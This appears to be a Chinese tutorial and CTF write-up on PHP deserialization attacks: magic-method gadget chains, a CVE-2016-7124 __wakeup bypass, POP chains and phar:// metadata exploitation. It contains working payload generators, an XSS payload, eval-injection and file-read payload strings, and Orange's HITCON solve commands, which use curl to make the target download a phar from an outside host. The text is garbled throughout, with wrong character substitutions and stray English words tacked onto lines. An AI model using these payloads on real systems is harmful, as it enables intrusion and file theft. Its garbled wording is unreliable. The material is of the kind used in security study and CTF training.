PHP反序列化从初级到高级利用篇

0x00 知识点

自从 Orange 在 2017年的 hitcon 出了一个 0day 的 php phar:// 反序列化给整个安全界开启了新世界的大门之后,php 反序列化这个漏洞就逐渐升温,没想到后来 2018 年 blackhat 的议题上这个问题再次被说起,利用的仍是 Orange 的思路(我只能 orz),到如今 phar:// 反序列化已经成为了各大 CTF 煊赫一时的思路,就仿佛 2016 年的 CVE-2016-7124 绕过 __weakup 同样。php

0x01 PHP的序列化和反序列化

概念

这实际上是为了解决 PHP 对象传递的一个问题,由于 PHP 文件在执行结束之后就会将对象销毁,那么若是下次有一个页面刚好要用到刚刚销毁的对象就会一筹莫展,总不能你永远不让它销毁,等着你吧,因而人们就想出了一种能长久保存对象的方法,这就是 PHP 的序列化,那当咱们下次要用的时候只要反序列化一下就 ok 啦html

序列化的目的是方便数据的传输和存储. json 是为了传递数据的方便性.node

序列化示例:python

<?php

class test{

    public $name = 'P2hm1n';  

    private $sex = 'secret';  

    protected $age = '20';

}

$test1 = new test();

$object = serialize($test1);

print_r($object);

?>

关键函数 serialize():将PHP中建立的对象,变成一个字符串git

private属性序列化的时候格式是 %00类名%00成员名github

protected属性序列化的时候格式是 %00*%00成员名web

关键要点:apache

在Private 权限私有属性序列化的时候格式是 %00类名%00属性名编程

在Protected 权限序列化的时候格式是 %00*%00属性名json

你可能会发现这样一个问题,你这个类定义了那么多方法,怎么把对象序列化了之后全都丢了?你看你整个序列化的字符串里面全是属性,就没有一个方法,这是为啥?

请记住,序列化他只序列化属性,不序列化方法,这个性质就引出了两个很是重要的话题:

(1)咱们在反序列化的时候必定要保证在当前的做用域环境下有该类存在

这里不得不扯出反序列化的问题,这里先简单说一下,反序列化就是将咱们压缩格式化的对象还原成初始状态的过程(能够认为是解压缩的过程),由于咱们没有序列化方法,所以在反序列化之后咱们若是想正常使用这个对象的话咱们必需要依托于这个类要在当前做用域存在的条件。

(2)咱们在反序列化攻击的时候也就是依托类属性进行攻击

由于没有序列化方法嘛,咱们能控制的只有类的属性,所以类属性就是咱们惟一的攻击入口,在咱们的攻击流程中,咱们就是要寻找合适的能被咱们控制的属性,而后利用它自己的存在的方法,在基于属性被控制的状况下发动咱们的发序列化攻击(这是咱们攻击的核心思想,这里先借此机会抛出来,你们有一个印象)

图片1

反序列化示例:

<?php

$object = '通过序列化的字符串';

$test = unserialize($object1);

print_r($test3);

?>

图片2

关键函数 unserialize():将通过序列化的字符串转换回PHP值

当有 protected 和 private 属性的时候记得补齐空的字符串

__wakeup()魔术方法

unserialize() 会检查是否存在一个 __wakeup() 方法。若是存在,则会先调用 __wakeup 方法,预先准备对象须要的资源。

序列化public private protect参数产生不一样结果

<?php
class test{
    private $test1="hello";
    public $test2="hello";
    protected $test3="hello";
}
$test = new test();
echo serialize($test);  //  O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}
?>

test类定义了三个不一样类型(私有,公有,保护)可是值相同的字符串,序列化输出的值不相同 O:4:"test":3:{s:11:" test test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";}

经过对网页抓取输出是这样的 O:4:"test":3:{s:11:"\00test\00test1";s:5:"hello";s:5:"test2";s:5:"hello";s:8:"\00*\00test3";s:5:"hello";}

private的参数被反序列化后变成 \00test\00test1 public的参数变成 test2 protected的参数变成 \00*\00test3

0x02 为何会产生反序列化漏洞?

####概念解释

PHP 反序列化漏洞又叫作 PHP 对象注入漏洞,是由于程序对输入数据处理不当致使的.

反序列化漏洞的成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那咱们就要利用对对象属性的篡改实现最终的攻击。

####须要具有反序列化漏洞的前提:

必须有 unserailize() 函数

unserailize() 函数的参数必须可控(为了成功达到控制你输入的参数所实现的功能,可能须要绕过一些魔法函数

PHP的魔法方法

PHP 将全部以 __(两个下划线)开头的类方法保留为魔术方法。因此在定义类方法时,除了上述魔术方法,建议不要以 __ 为前缀。 常见的魔法方法以下:

__construct(),类的构造函数

__destruct(),类的析构函数

__call(),在对象中调用一个不可访问方法时调用

__callStatic(),用静态方式中调用一个不可访问方法时调用

__get(),得到一个类的成员变量时调用

__set(),设置一个类的成员变量时调用

__isset(),当对不可访问属性调用isset()或empty()时调用

__unset(),当对不可访问属性调用unset()时被调用。

__sleep(),执行serialize()时,先会调用这个函数

__wakeup(),执行unserialize()时,先会调用这个函数

__toString(),类被当成字符串时的回应方法

__invoke(),调用函数的方式调用一个对象时的回应方法

__set_state(),调用var_export()导出类时,此静态方法会被调用。

__clone(),当对象复制完成时调用

__autoload(),尝试加载未定义的类

__debugInfo(),打印所需调试信息

(1) __construct():当对象建立时会自动调用(但在unserialize()时是不会自动调用的)。 (2) __wakeup() :unserialize()时会自动调用 (3) __destruct():当对象被销毁时会自动调用。 (4) __toString():当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用 (5) __get() :当从不可访问的属性读取数据 (6) __call(): 在对象上下文中调用不可访问的方法时触发

其中特别说明一下第四点:

这个 __toString 触发的条件比较多,也由于这个缘由容易被忽略,常见的触发条件有下面几种

(1)echo ($obj) / print($obj) 打印时会触发

(2)反序列化对象与字符串链接时

(3)反序列化对象参与格式化字符串时

(4)反序列化对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5)反序列化对象参与格式化SQL语句,绑定参数时

(6)反序列化对象在通过php字符串函数,如 strlen()、addslashes()时

(7)在in_array()方法中,第一个参数是反序列化对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8)反序列化的对象做为 class_exists() 的参数的时候

在咱们的攻击中,反序列化函数 unserialize() 是咱们攻击的入口,也就是说,只要这个参数可控,咱们就能传入任何的已经序列化的对象(只要这个类在当前做用域存在咱们就能够利用),而不是局限于出现 unserialize() 函数的类的对象,若是只能局限于当前类,那咱们的攻击面也太狭小了,这个类不调用危险的方法咱们就无法发起攻击。

可是咱们又知道,你反序列化了其余的类对象之后咱们只是控制了是属性,若是你没有在完成反序列化后的代码中调用其余类对象的方法,咱们仍是一筹莫展,毕竟代码是人家写的,人家自己就是要反序列化后调用该类的某个安全的方法,你总不能改人家的代码吧,可是不要紧,由于咱们有魔法方法。

魔法正如上面介绍的,魔法方法的调用是在该类序列化或者反序列化的同时自动完成的,不须要人工干预,这就很是符合咱们的想法,所以只要魔法方法中出现了一些咱们能利用的函数,咱们就能经过反序列化中对其对象属性的操控来实现对这些函数的操控,进而达到咱们发动攻击的目的。

示例程序:

<?php 

class test{

    public $target = 'this is a test';

    function __destruct(){

        echo $this->target;

    }

}

$a = $_GET['b'];

$c = unserialize($a);

?>

知足反序列化漏洞条件:存在unserialize() 函数,函数参数$a能够控制,就具有了利用反序列化漏洞的前提。由于存在 echo 的缘由,咱们还能够直接利用xss

<?php 

class test{

    public $target = '<script>alert(/xss/);</script>';

}

$a = new test();

$a = serialize($a);

echo $a;

?>

图片3

0x03 魔术方法运行前后顺序

<?php   

class test{

    public $name = 'P2hm1n';

    function __construct(){

        echo "__construct()";

        echo "<br><br>";

    }

    function __destruct(){

        echo "__destruct()";

        echo "<br><br>";

    }

    function __wakeup(){

        echo "__wakeup()";

        echo "<br><br>";

    }

    function __toString(){

        return "__toString()"."<br><br>";

    }

    function __sleep(){

        echo "__sleep()";

        echo "<br><br>";

        return array("name");

    }

}

$test1 = new test();

$test2 = serialize($test1);

$test3 = unserialize($test2);

print($test3);

?>

图片4

咱们同样是来写一个代码进行验证:

class test {

private $flag = '';

# 用于保存重载的数据 
private $data = array();

public $filename = '';

public $content = '';

function __construct($filename, $content) {
    $this->filename = $filename;
    $this->content = $content;
    echo 'construct function in test class';
    echo "<br>";
}

function __destruct() {
    echo 'destruct function in test class';
    echo "<br>";
}

function __set($key, $value) {
    echo 'set function in test class';
    echo "<br>";
    $this->data[$key] = $value;
}

function __get($key) {
    echo 'get function in test class';
    echo "<br>";
    if (array_key_exists($key, $this->data)) {
        return $this->data[$key];
    } else {
        return null;
    }
}

function __isset($key) {
    echo 'isset function in test class';
    echo "<br>";
    return isset($this->data[$key]);
}

function __unset($key) {
    echo 'unset function in test class';
    echo "<br>";
    unset($this->data[$key]);
}

public function set_flag($flag) {
    $this->flag = $flag;
}

public function get_flag() {
    return $this->flag;
}
}


$a = new test('test.txt', 'data');

# __set() 被调用
$a->var = 1;

# __get() 被调用
echo $a->var;

# __isset() 被调用
var_dump(isset($a->var));

# __unset() 被调用
unset($a->var);

var_dump(isset($a->var));

echo "\n";

咱们能够看到调用的顺序为:

构造方法 => set方法(咱们此时为类中并无定义过的一个类属性进行赋值触发了set方法) => get方法 => isset方法 => unset方法 => isset方法 => 析构方法

同时也能够发现,析构方法在全部的代码被执行结束以后进行的。 __call() __callStatic()

实例程序:

<?php
class pompom{

  private $name = "pompom";
  function __construct(){
     echo "__construct";
	 echo "</br>";
  }
  function __sleep(){
     echo "__sleep";
	 echo "</br>";
	 return array("name");
  }
  function __wakeup(){
     echo "__wakeup";
	 echo "</br>";
  }
  function __destruct(){
     echo "__destruct";
	 echo "</br>";
  }
  function __toString(){
     return "__toString"."</br>";
  }
}

$pompom_old = new pompom();
$data = serialize($pompom_old);
file_put_contents("serialize-3.txt", $data);
$pompom_new = unserialize($data);
print($pompom_new);

输出结果:

__construct __sleep __wakeup __toString __destruct __destruct

就是提示一下这里 __destruct 了两次说明当前实际上有两个对象,一个就是实例化的时候建立的对象,另外一个就是反序列化后生成的对象。

PHP反序列化标识符含义:

a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

序列化:把复杂的数据类型压缩到一个字符串中 数据类型能够是数组,字符串,对象等 函数 : serialize()

反序列化:恢复原先被序列化的变量 函数: unserialize()

<?php
$test1 = "hello world";
$test2 = array("hello","world");
$test3 = 123456;
echo serialize($test1); //  s:11:"hello world";  序列化字符串
echo serialize($test2); // a:2:{i:0;s:5:"hello";i:1;s:5:"world";} 序列化数组
echo serialize($test3); //  i:123456;  
?>

<?php
class hello{
    public $test4 = "hello,world";
}
$test = new hello();
echo serialize($test);  //  O:5:"hello":1:{s:5:"test4";s:11:"hello,world";}  序列化对象  首字母表明参数类型 O->Objext S->String...
?>

0x04 利用魔法方法发起攻击

<?php
class K0rz3n {
    private $test;
    public $K0rz3n = "i am K0rz3n";
    function __construct() {
        $this->test = new L();
    }

    function __destruct() {
        $this->test->action();
    }
}

class L {
    function action() {
        echo "Welcome to XDSEC";
    }
}

class Evil {

    var $test2;
    function action() {
        eval($this->test2);
    }
}

unserialize($_GET['test']);

首先咱们能看到 unserialize() 函数的参数咱们是能够控制的,也就是说咱们能经过这个接口反序列化任何类的对象(但只有在当前做用域的类才对咱们有用),那咱们看一下当前这三个类,咱们看到后面两个类反序列化之后对咱们没有任何意义,由于咱们根本无法调用其中的方法,可是第一个类就不同了,虽然咱们也没有什么代码能实现调用其中的方法的,可是咱们发现他有一个魔法函数 __destruct() ,这就很是有趣了,由于这个函数能在对象销毁的时候自动调用,不用咱们人工的干预,好,既然这样咱们就决定反序列化这个类的对象了,接下来让咱们看一下怎么利用(我上面说过了,咱们须要控制这个类的某些属性,经过控制属性实现咱们的攻击).

destruct() 里面只用到了一个属性 test ,那确定就是他了,那咱们控制这个属性为何内容咱们就能攻击了呢,咱们再观察一下 那些地方调用了 action() 函数,看看这个函数的调用中有没有存在执行命令或者是其余咱们能利用的点的,果真咱们在 Evil 这个类中发现他的 action() 函数调用了 eval(),那咱们的想法就很明确了,

咱们须要将 K0rz3n 这个类中的 test 属性篡改成 Evil 这个类的对象,而后为了 eval 能执行命令,咱们还要篡改 Evil 对象的 test2 属性,将其改为咱们的 Payload.

分析完毕之后咱们就能够构建咱们的序列化字符串了,构建的方法不是手写(固然你愿意我也不拦着你,理论上是可行的),咱们要将这段代码复制一下,而后修改一些内容并进行序列化操做.

生成 payload 代码:

<?php
class K0rz3n {
    private $test;
    function __construct() {
        $this->test = new Evil;
    }
}


class Evil {

    var $test2 = "phpinfo();";

}

$K0rz3n = new K0rz3n;
$data = serialize($K0rz3n);
file_put_contents("seria.txt", $data);

咱们去除了一切与咱们要篡改的属性无关的内容,对其进行序列化操做,而后将序列化的结果复制出来,想刚刚的代码发起请求

http://127.0.0.1/php_unserialize/K0rz3n.php?test=O:6:%22K0rz3n%22:1:{s:12:%22%00K0rz3n%00test%22;O:4:%22Evil%22:1:{s:5:%22test2%22;s:10:%22phpinfo();%22;}}

注意要添加上:%00xxx%00

能够看到咱们攻击成功,特别要提醒一下的就是我在图中框起来的部分,上面说过因为是私有属性,他有本身特殊的格式会在先后加两个 %00 ,因此咱们在传输过程当中绝对不能忘掉.

经过这个简单的例子总结一下寻找 PHP 反序列化漏洞的方法或者说流程

(1) 寻找 unserialize() 函数的参数是否有咱们的可控点

(2) 寻找咱们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类

(3) 一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实如今当前调用的过程当中触发的

(4) 找到咱们要控制的属性了之后咱们就将要用到的代码部分复制下来,而后构造序列化,发起攻击

0x05 PHP反序列化漏洞试题练习

解题思路:经过源码将对应字符串序列化便可.

<?php 

$KEY = "D0g3!!!";

echo serialize($KEY)

?>
  • 二、BugKu welcome to bugkuctf

解题思路:考察的包含3个知识点

a、 PHP://input 做为文件读入

b、 PHP文件包含漏洞(php://filter/read=convert.base64-encode/resource=)

c、 PHP反序列化漏洞利用

只须要控制 $this->file 就能读到咱们想要的文件

<?php   

class Flag{//flag.php  

    public $file = 'flag.php'; 

}

$a = new Flag();

$a = serialize($a);

echo $a;  

?>
  • 三、__wakeup() 函数失效引起漏洞(CVE-2016-7124)

漏洞影响版本

PHP5 < 5.6.25

PHP7 < 7.0.10

漏洞原理及要点

__wakeup()函数触发于unserilize()调用以前,可是若是被反序列话的字符串其中对应的对象的属性个数发生变化时,会致使反序列化失败而同时使得 __wakeup()函数失效。当成员属性数目大于实际数目时会跳过 __wakeup()函数的执行。

实例演示:sugarcrm <=6.5.23 存在此漏洞 (https://blog.csdn.net/qq_19876131/article/details/52890854)

推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞

  • 四、HITCON 2016的web题babytrick为例:

访问https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick查看源码

解题思路:注意到类中有魔术方法__wakeup,其中函数会对咱们的输入进行过滤、转义。

如何绕过__wakeup呢?谷歌发现了CVE-2016-7124,一个月前爆出的。简单来讲就是当序列化字符串中,若是表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考https://bugs.php.net/bug.php?id=72663,某一种状况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其余的魔术方法。

官方exp以下:

<?php

class obj implements Serializable {

var $data;

function serialize() {

return serialize($this->data);

}

function unserialize($data) {

$this->data = unserialize($data);

}

}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';

$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

echo $data[1];

?>
  • 五、第12届2019年全国大学生信息安全竞赛-Web之JustSoso

解题思路:

a、 http://xxx/index.php?file=php://filter/read/convert.base64-encode/resource=index(hint).php

b、parse_url() 函数解析漏洞 使用域名以后使用///

parse_url()会把//认为是相对路径(5.4.7之前) ///会被返回false 从而绕过过滤

c、hint.php 中的对象在反序列化的时候,会先调用 __wakeup 魔术方法,PHP反序列化绕过__wakeup方法(PHP-Bug-72663),

将咱们payload中O:6:"Handle":1改成O:6:"Handle":2

d、使用引用,使token为token_flag的引用,从而 token===token_flag

要让token===token_flag,咱们可使用引用,使token变为token_flag的引用

找到一个正解,使用php得引用赋值来绕过。

原理: a=1; b=&a; a=a+1; 那末最后b得值也会变为2,由于b是引用赋值。

这里咱们一样得方法,咱们在构造序列化字符串得时候加上这么一句:

$b = new Flag("flag.php");

$b->token=&$b->token_flag;

$a = new Handle($b);

那末token得值就始终和token_flag保持一致了。

e、还有一点要注意:s:14:"Handlehandle" 为何长度是12,前面的值倒是14呢?

这是由于当成员属性为private时,在序列化后,Handle字串先后会各有一个0x00,所以长度为14。

相似的protect属性,则是在*先后各有一个0x00。

0x00的url编码为%00,所以咱们传参时要进行编码。所以最终payload要加上%00。

  • 六、2019年DDCTF-Web签到题

题目地址:http://117.51.158.44/index.php

解题思路:

a、 抓包分析能够看到有个明显的header头didictf_username,使用burpSuite发送到Repeater didictf_username加入admin 发送后获得app/fL2XID2i0Cdh.php

b、 POST /app/Session.php 得到到Cookie值.

c、 源码分析:

if(!empty($_POST["nickname"])) {    //POST的不为空

            $arr = array($_POST["nickname"],$this->eancrykey);

            $data = "Welcome my friend %s";

            foreach ($arr as $k => $v) {    //打印变量

                $data = sprintf($data,$v);    //输出

            }

            parent::response($data,"Welcome");

        }

修改 Content-Type:application/x-www-form-urlencoded,添加 nickname 变量中包含%s,加入获取的Cookie值,可获得$this->eancrykey的数值.

d、构造最终payload为

<?php

Class Application {

    var $path = '..././config/flag.txt';

}

$a = new Application();

$a = serialize($a);

print_r($a);

?>

解题思路:

首先是一个类sercet 接受$cmd,绕过正则 ,反序列化。覆盖$file的值,绕过 __wakeup,显示the_next.php的源码

O:6:"sercet":1:{s:12:"sercetfile";s:12:"the_next.php";}

POC1:
TzorNjoic2VyY2V0IjozOntzOjEyOiIAc2VyY2V0AGZpbGUiO3M6MTI6InRoZV9uZXh0LnBocCI7fQ==

在复现的过程当中 我发如今hackbar中直接将 O:+6:"sercet":1:{s:12:" sercet file";s:12:"the_next.php";} base64编码不能绕过 必需要在本地base64_encode生成 才能复现成功

绕过正则能够用+号 问题是如何绕过__weakup函数 发现这是一个CVE漏洞 ==》当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)

O:6:"sercet":1: 也就是输入比1大的值就行 如O:6:"sercet":2:

O:6:"sercet":2:{s:12:"sercetfile";s:12:"the_next.php";}

因此POC2: O:+6:"sercet":2:{S:12:"\00sercet\00file";s:12:"the_next.php";} TzorNjoic2VyY2V0IjoyOntTOjEyOiJcMDBzZXJjZXRcMDBmaWxlIjtzOjEyOiJ0aGVfbmV4dC5waHAiO30KCgo=

两个POC都可以成功绕过.

这个 bug 的原理是:当反序列化字符串中,表示属性个数的值大于真实属性个数时,会跳过 __wakeup 函数的执行。

反序列化的字符串用户可控,可是反序列化后会先执行 __wakeup 函数,该函数会将 $this->file 变量设成固定值,致使咱们没法进行任意文件读取。如今咱们利用这个 bug 尝试绕过 __wakeup 函数。能够看到 ReadFile 类的属性中,只有一个 $file 私有属性,那么正常反序列化出来应该是下面这个样子:

而若是咱们将数值个数值 1 改为大于 1 的任何数字,在反序列化时就不会调用 __wakeup 函数。观察上图,咱们还会发现反序列化字符串中存在 \x00 字符,这个实际上是类的私有属性反序列化后的格式,protected 属性也有本身的反序列化格式,不妨来看看:

回到题目上,咱们最终能够用以下 payload ,实现绕过 __wakeup 函数读取任意文件:

0x06 PHP反序列化高阶学习(Php phar / PHP POP 链)

POP 链的介绍:

ROP 的全称是面向返回编程(Return-Oriented Programing),ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具备固定地址且带有返回操做的指令集,将这些原本无害的片断拼接起来,造成一个连续的层层递进的调用链,最终达到咱们的执行 libc 中函数或者是 systemcall 的目的

POP 面向属性编程(Property-Oriented Programing) 经常使用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理类似,都是从现有运行环境中寻找一系列的代码或者指令调用,而后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的

说的再具体一点就是 ROP 是经过栈溢出实现控制指令的执行流程,而咱们的反序列化是经过控制对象的属性从而实现控制程序的执行流程,进而达成利用自己无害的代码进行有害操做的目的

说了这么多理论了,来点实战性的东西演示一下 POP 链的造成吧!

如今咱们就按照,我上面说的步骤来一步一步的分析这段代码,最终构造咱们的 POP 链完成利用

(1)寻找 unserialize() 函数的参数是否有咱们的可控点

咱们假设已经在第一段代码里设置了参数可控的 unserialize()

(2)寻找咱们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类

咱们在第一段代码中寻找,咱们发现一眼就看到了咱们最想要看到的东西,__destruct() 魔法方法,好,既然这样咱们就将这个类做为咱们的漏洞嫌疑对象

(3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实如今当前调用的过程当中触发的

1.咱们就先来看一下这个 $write ,这个 $write 虽然不是属性,可是他是咱们 $_write 属性的其中一部分,那么控制他也就等于控制属性,那咱们就要好好研究一下这个 $write 了,他是什么呢?经过他能调用 shutdown() 来看,他是某一个类的一个对象,由于他不是单纯的属性因此咱们还要向下挖

2.因而咱们就要找一下定义 shutdown() 方法的类,而后咱们就锁定了 Zend_Log_Writer_Mail 这个类,咱们看到这个类里面使用了 $write 对象的不少属性,好比说 _layout ,而后咱们又发现这个属性也调用了一个方法 render() ,说明这个属性其实也是一个对象,因而咱们还要向更深处挖掘

3.那么 _layout 是谁的对象呢?咱们发现他是 Zend_layout 的一个对象,一样的,他里面是用了一个 _inflector 的属性,这个属性调用了 filter 方法,看来他也是一个对象(有完没完~~)别急,咱们继续向下

4.咱们发现 _inflector 是 Zend_Filter_PregReplace 的一个对象,这个对象的一些属性是能进行直接控制的,而且在调用 filter 方法的时候能直接触发 preg_replace() 方法,太好了这正是咱们想要的,咱们只要控制这个对象的属性就能实现咱们的利用链

最后一张 图片实际上已经将整个利用链画了出来,而且给上了 payload ,下面我想经过对整个 payload 的分析再来回顾一下整个 POP 链的调用过程.

因此整个 POP 链就是

writer->shutdown()->render()->filter()->preg_replace(咱们控制的属性)->代码执行

声明:
固然这是一个很老的可是很经典的例子,里面用到的方法仍是 preg_replace() 的 /e 选项,咱们只是学习使用,请你们不要纠结

利用 phar:// 拓展 PHP 反序列化的攻击面

在 2017 年的 hitcon Orange 的一道 0day 题的解法使人震惊,Orange 经过他对底层的深度理解,为 PHP 反序列化开启了新的篇章,在此以后的 black 2018 演讲者一样用这个话题讲述了 phar:// 协议在 PHP 反序列化中的神奇利用,那么接下来就让咱们分析他为何开启了 PHP 反序列化的新世界,以及剖析一下这个他的利用方法。 1.回顾一下原先 PHP 反序列化攻击的必要条件

(1)首先咱们必须有 unserailize() 函数

(2)unserailize() 函数的参数必须可控

这两个是原先存在 PHP 反序列化漏洞的必要条件,没有这两个条件你谈都不要谈,根本不可能,可是从2017 年开始 Orange 告诉咱们是能够的

2.phar:// 如何扩展反序列化的攻击面的

原来 phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 咱们就能在文件系统函数 file_exists() is_dir() 等参数可控的状况下实现自动的反序列化操做,因而咱们就能经过构造精心设计的 phar 包在没有 unserailize() 的状况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,下降了咱们 PHP 反序列化的攻击起点。

3.具体解释一下 phar 的使用 1.Phar 的文件结构

phar 文件最核心也是必需要有的部分如图所示: phar-1.png

(1) a stub

图片中说了,这其实就是一个PHP 文件实际上咱们能将其复杂化为下面这个样子

格式为:

xxx<?php xxx; __HALT_COMPILER();?>

前面内容不限,但必须以__HALT_COMPILER();?>来结尾,这部分的目的就是让 phar 扩展识别这是一个标准的 phar 文件

(2)a manifest describing the contents

由于 Phar 自己就是一个压缩文件,它里面存储着其中每一个被压缩文件的权限、属性等信息。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

(3)the file contents

这部分就是咱们想要压缩在 phar 压缩包内部的文件

2.如何建立一个合法的 Phar压缩文件 http://127.0.0.1/php_unserialize/Phar-1.php

能够清楚地看到咱们的 TestObject 类已经以序列化的形式存入文件中

咱们刚刚说过了,php一大部分的文件系统函数在经过phar://伪协议解析phar文件时,都会将meta-data进行反序列化

测试后受影响的函数以下: 受影响的函数列表

fileatime filectime file_exists file_get_contents

file_put_contents file filegroup fopen

fileinode filemtime fileowner fikeperms

is_dir is_executable is_file is_link

is_readable is_writable is_writeable parse_ini_file

copy unlink stat readfile

3.phar 反序列化小实验

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

能够看出咱们成功的在没有 unserailize() 函数的状况下,经过精心构造的 phar 文件,再结合 phar:// 协议,配合文件系统函数,实现了一次精彩的反序列化操做。

其余函数固然也是可行的:

phar_test2.php

<?php class TestObject { public function __destruct() { echo 'Destruct called'; } } $filename = 'phar://phar.phar/a_random_string'; file_exists($filename); //...... ?>

当文件系统函数的参数可控时,咱们能够在不调用unserialize()的状况下进行反序列化操做,一些以前看起来“人畜无害”的函数也变得“暗藏杀机”,极大的拓展了攻击面。

实际利用 3.1 利用条件

任何漏洞或攻击手法不能实际利用,都是纸上谈兵。在利用以前,先来看一下这种攻击的利用条件。

phar文件要可以上传到服务器端。
要有可用的魔术方法做为“跳板”。
文件操做函数的参数可控,且:、/、phar等特殊字符没有被过滤。

具体参考:利用 phar 拓展 php 反序列化漏洞攻击面 https://paper.seebug.org/680/

相关示例说明:

HITCON 2016上,orange 出了一道PHP反序列化。 babytrick HITCON 2017上,orange 出了一道Phar + PHP反序列化。 下面的实例程序 HITCON 2018上,orange 出了一道file_get_contents + Phar + PHP反序列化。 Hitcon2018 BabyCake题目分析 https://www.anquanke.com/post/id/162431#h2-0 让咱们期待HITCON 2019的操做

经过源码分析,很清楚 cookie 是经过 remote_addr 配合 sha1 进行 hmac 签名生成的,想绕过他那是不可能的,当时的人们确定都是沉迷于没法绕过这个,因而最终这道题是 全球 0 解,可是如今咱们就要思考一下 是否是能用 Phar 这个在不使用 unserialize() 的方式完成序列化成功 get flag

回顾一下使用 Phar 反序列化的条件是什么

(1)文件上传点 (2)系统文件函数 (3) phar:// 伪协议

这个太完美了,彻底符合咱们要求,咱们只要的精心构造一个包含 Admin 对象、包含 avatar.gif 文件,而且 stub 是 GIF89a<?php xxx; __HALT_COMPILER();?> 的 phar 文件而后上传上去,下一次请求经过 Phar:// 协议让 file_get_contents 请求这个文件就能够实现咱们对 Admin 对象的反序列化了(有人可能会说为何不直接用 phar:// 请求远程文件,由于phar:// 不支持访问远程 URL )

生成 phar 的 paylod

<?php class Admin { public $avatar = 'orz'; } $p = new Phar(__DIR__ . '/avatar.phar', 0); $p['file.php'] = '<?php ?>';

$p->setMetadata(new Admin()); $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); rename(DIR . '/avatar.phar', DIR . '/avatar.gif'); ?>

这里还有一个点须要提一下(虽然和反序列化没什么直接关系),就是咱们经过 eval 建立的函数并不能帮咱们拿到 flag 由于他是随机名称的,咱们是没法预测的,实际上这是 Orange 的一个障眼法,咱们真正要利用的是 eval 下面的 $_GET"lucky";

可是实际上咱们的 $FLAG 也是一个匿名函数,可是匿名函数就真的没有名字了吗?非也,匿名函数的函数名被定义为

\000_lambda_" . count(anonymous_functions)++;

这里的count 会一直递增到最大长度直到结束,这里咱们能够经过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的随机数会刷新为1,就能够预测了

下面给出 Orange 的解题过程

# get a cookie $ curl http://host/ --cookie-jar cookie

# download .phar file from http://orange.tw/avatar.gif $ curl -b cookie 'http://host/?m=upload&url=http://orange.tw/'

# force apache to fork new process $ python fork.py &

# get flag $ curl -b cookie "http://host/?m=upload&url=phar:///var/www/data/$MD5_IP/&lucky=%00lambda_1"

####补充知识点(PHP中的类,对象,属性,方法,this,-> ):

php里面的类-----class XX{},经过类的定义,可使用调用类里面的成员属性和成员方法。

对象---一个类就是一个对象,一个对象能够有多个属性,一个类能够有多个成员方法。

在PHP中,要建立一个类很简单,只须要关键字class便可,class {}

在PHP中用关键字new来建立一个类的对象,其语法以下:

$object_name=new class_name

其中,object_name即为所要创建的对象的名字,关键字new用来建立一个对象,class_name为类名。

在类中定义的变量咱们称之为“属性(property)”,属性的声明必须由访问控制关键字public(公开的)、protected(受保护的)或private(私有的)开头。

class car {
public $brand = 'Volkswagen';
protected $price = 999999;
private $color = 'red';
	function getBrand(){
	return $this->brand;
	}
}

public属性能够在类的外部访问,而protected和private属性则只能由该类内部的方法使用。

外部访问对象的属性和方法时,使用 -> 操做符。内部访问时使用$this(伪变量)调用当前对象的属性或方法。

$c = new car();  //对象:c  类名:car
echo $c->brand; //Volkswagen
echo $c->price; //报错,受保护属性不容许外部访问
echo $c->color; //报错,私有属性不容许外部访问

类中的方法(function)和属性具备同样的访问控制方式。定义方法时加上public、protected和private关键字便可。默认状态下为public。一样的,public可经过->操做符外部访问,而protected和private方法只能经过为变量$this内部访问。

protected和private都不可外部访问,区别在哪里呢?

从字面理解,protected只是受保护而已,全部能够在本类、父类和子类中访问。而private只能在本类中访问。

相关文章
相关标签/搜索